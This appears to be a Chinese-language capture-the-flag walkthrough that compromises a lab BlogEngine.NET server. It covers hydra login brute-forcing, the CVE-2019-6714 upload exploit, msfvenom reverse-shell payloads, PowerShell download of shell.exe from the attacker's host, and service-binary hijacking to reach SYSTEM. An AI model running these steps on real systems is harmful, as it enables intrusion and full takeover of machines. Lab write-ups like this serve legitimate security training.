使用gobuster配合seclists的字典来爆破后台路径
1 | ./gobuster dir -u 10.10.40.22 -w /usr/share/seclists/Discovery/Web-Content/common.txt |
发现后台路径
然后发送表单数据,可以知道是POST请求
使用hydra爆破密码
1 | hydra -l admin -P /usr/share/seclists/Passwords/darkweb2017-top10000.txt 10.10.40.22 http-form-post "/Account/login.aspx?ReturnURL=/admin:__VIEWSTATE=vw5J1ZVXeuOsqHTRBMThsDt0My7yl9%2F58xs%2F9JecZf3L2TxMaYYCfEmvjBo7dAo2xU9lY9qG1RqV9Q%2FwCyuJhBGGIbX1BF4vSV9uhs1Jp%2B%2BDW8x3IyAETgYpstaFI%2B5vjy0OXYvDA%2F%2Bo%2BltAyih7HFg3YOCIFUxjN5Uqda41582vq4gw&__EVENTVALIDATION=F16dU6mFH%2FZqYExyyFz8QDA2ZfV%2F9lhAJf8knWmPcA%2BSalr%2FtNT8OI%2FcLoS1WfVqi%2BcLjNuR278Z6EUr21MfgT6qFfcnIC%2FnBVi32%2BlQ2QUhax%2F0FiRUxsFmaFhgRgK6DPIkxvtN8gA53zqN8cVhWrMuB7NhxDbpKdxVFan86w5lUB%2BX&ctl00%24MainContent%24LoginUser%24UserName=admin&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login Failed" -Vv |
1 | # -Vv 显示破解过程 |
这里的密码要用^PASS^
来占位
得到密码:1qaz2wsx
命令 | 描述 |
---|---|
hydra -P |
针对您选择的协议进行暴力破解 |
hydra -v -V -u -L |
您可以使用 Hydra 来暴力破解用户名和密码。它将遍历列表中的每个组合。(-vV = 详细模式,显示登录尝试) |
hydra -t 1 -V -f -l |
使用密码列表攻击 Windows 远程桌面。 |
hydra -l |
为 Hydra 提出更具体的要求以进行暴力破解。 |
登入后台,发现这个网站的CMS为BlogEngine.NET
,且版本为3.3.6.0
在exploit 数据库存档查找相关漏洞
找到CVE-2019-6714
按照要求,改一下exp里的ip和port,把文件名改为PostView.ascx,然后再上传
kali开启监听
1 | nc -lvvp 9999 |
访问/?theme=../../App_Data/files
后得到反弹shell
执行whoami
得到运行这个网站的人
然后改用metesploit的meterpreter来进行监听
要先找到这个windows的漏洞,然后再用msfvenom生成攻击载荷
先用systeminfo
得到这个windows的信息,然后用wes-ng来查找漏洞
1 | python3 wes.py system.txt |
这里得到的信息其实没有那么重要,因为我们已经有一个shell了
我们可以生成一个反弹shell载荷,让目标主机下载下来,然后让他执行这个载荷,就可以反弹shell了
生成payload
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.18.104.32 LPORT=9999 -f exe >shell.exe |
在kali上开启一个python服务,通过之前的shell,让目标主机下载下来
1 | python3 -m http.server |
目标主机上:
上传到C:\Windows\Temp
因为这个目录往往是可写的
1 | powershell -c "Invoke-WebRequest -Uri 'http://10.18.104.32:8000/shell.exe' -OutFile 'C:\Windows\Temp\shell.exe'" |
shell.exe被成功上传
然后开启metesploit
1 | msfconsole |
在目标主机执行shell.exe
1 | shell.exe |
meterpreter成功上线目标主机
执行
1 | sysinfo |
可以查看系统信息
我们要进行提权,使用WinPEAS来查看相关的信息
使用相同的方式来上传这个文件
1 | powershell -c "Invoke-WebRequest -Uri 'http://10.18.104.32:8000/winPEAS.bat' -OutFile 'C:\Windows\Temp\winPEAS.bat'" |
因为系统服务大多是以system权限启动的,所以其对应的二进制也就以system权限启动。
所以这里提权的方式是,修改系统服务对应的二进制文件,将其修改为我们的攻击载荷,即上面的shell.exe
。
用winpeas.bat可以看到一些服务对应的二进制文件
使用winpeas.exe直接查看服务信息
1 | winpeas.exe serviceinfo |
winpeas.exe参数
1 | domain Enumerate domain information |
可以看到存在可以提权的服务WindowsScheduler
去到对应目录,可以发现存在包含日志的Events
目录
查看日志,发现他是间隔30s左右,执行一次Message.exe
,且以Administrator权限执行
再去看这个文件,发现可以修改
把之前生成的shell.exe上传到这里,改名为Message.exe,然后再开启一个监听,就可以得到system权限的shell
直接使用meterpreter上传
1 | upload shell.exe "C:\Program Files (x86)\SystemScheduler\1.exe" |
等他执行我们上传上去的恶意Message.exe后,就可以得到system权限的shell
然后在C:\Users\jeff\Desktop\user.txt
得到user flag
在C:\Users\Administrator\Desktop\root.txt
得到root flag
可以使用netcat,但是msfvenom生成payload的命令有所不同
1 | msfvenom -p windows/shell_reverse_tcp LHOST=$lhost LPORT=$lport -e x86/shikata_ga_nai -f exe -o reverse.exe |